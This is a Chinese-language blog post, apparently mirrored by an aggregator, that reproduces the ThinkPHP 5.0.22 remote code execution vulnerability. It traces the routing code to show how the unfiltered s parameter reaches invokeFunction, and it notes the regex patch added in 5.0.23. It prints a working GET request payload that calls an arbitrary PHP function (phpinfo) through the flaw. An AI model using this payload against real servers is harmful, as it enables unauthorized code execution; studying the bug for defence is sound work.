1

thinkphp5022RCE复现

 2 years ago
source link: https://sn1per-ssd.github.io/2022/07/26/thinkphp5022RCE%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

thinkphp5022RCE复现

阅读数:2016次

2022-07-26

字数统计: 921字

  |   阅读时长≈ 3分

经典老洞,一直没有复现过,趁现在闲着,回味经典。

xdebug helper(浏览器插件)

phpstorm

php7.2(开启xdebug)

thinkphp5.0.22

由于ThinkPHP是一个很经典的MVC结构,即模型、视图、控制器。这种结构的CMS(如PHPCMS)通俗理解就是可以通过参数来访问不同文件夹下的不同文件,然后实例化对应文件的类并对其进行调用,而在这其中,最重要的就是控制器。通过调用不同的控制器类可以做到不同的功能,而审计该结构相对来说也比较简单,首先是搞清楚如何通过参数调用控制器(即路由),然后是看控制器。

了解了MVC结构之后再来说说ThinkPHP,ThinkPHP5.0.22是通过参数s来实现的,而参数中是通过路由来进行调用相应的类的,所以首先得大致了解它的路由是如何运行的。

首先是查看路由。这个有三种方法,一种是从开头插断点嗯跟代码跟过去(牛一点也可以大概看一看代码然后人脑+PHPstorm的快捷键跟过去),另一种就是通过改参数匹配框架下对应的文件夹,找到对应文件夹后就基本了解了大概运行方式,第三种是看开发文档之类的文件来了解如何进行开发。

在thinkphp中,比较好找跟着代码很块就能找到,在thinkphp/library/think/App.php下。在617行的routeCheck函数中对路由进行检查

images-202207252212.png

首先它会检测是否开启路由,开启后读取缓存的路由,如果没读取到缓存的路由信息则会导入配置文件中的路由并将路由储存在$rules中,然后对路由进行检测,若路由无效则会进入Route::parseUrl中对其进行切割。之后一路跟进,在route.php的parseUrl中,有这么一个操作:

if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
$route = [null, null, null];
if (isset($path)) {
// 解析模块代码
}
}
images-202207252210.png

可以看到,它将index/\think\app/invokefunction替换成了index|\think\app|invokefunction,再用self::parseUrlPath进行了切割之后直接当成了模块、控制器等,最后在1263行封装成为路由。

在图里我们可以看到模块为index,控制器为\thinkphp\app,函数为invokefunction

images-202207252333.png

最后在thinkphp/library/think/App.php下的445行exec函数一路向下进入494行的module函数,在其中通过获取控制器名和函数名且没有任何过滤,最终执行控制器下的指定函数。

其实已经没什么好说的了

通过thinkphp/library/think/App.php中的invokeFunction函数,可以通过反射实例化任意函数。加上上面说的控制路由执行任意函数。只要利用/将模型、控制器、函数分开,然后再将参数传入即可。

最终payload如下:

GET /public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1 HTTP/1.1
Host: www.thinkphp5022.com:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE; PHPSESSID=dr7sbponiagmgo0qjq5qv22q7c
Connection: close


最后看看从5.0.22到5.0.23如何进行了防御:

它在设置控制器的位置进行了正则匹配:

images-202207252351.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK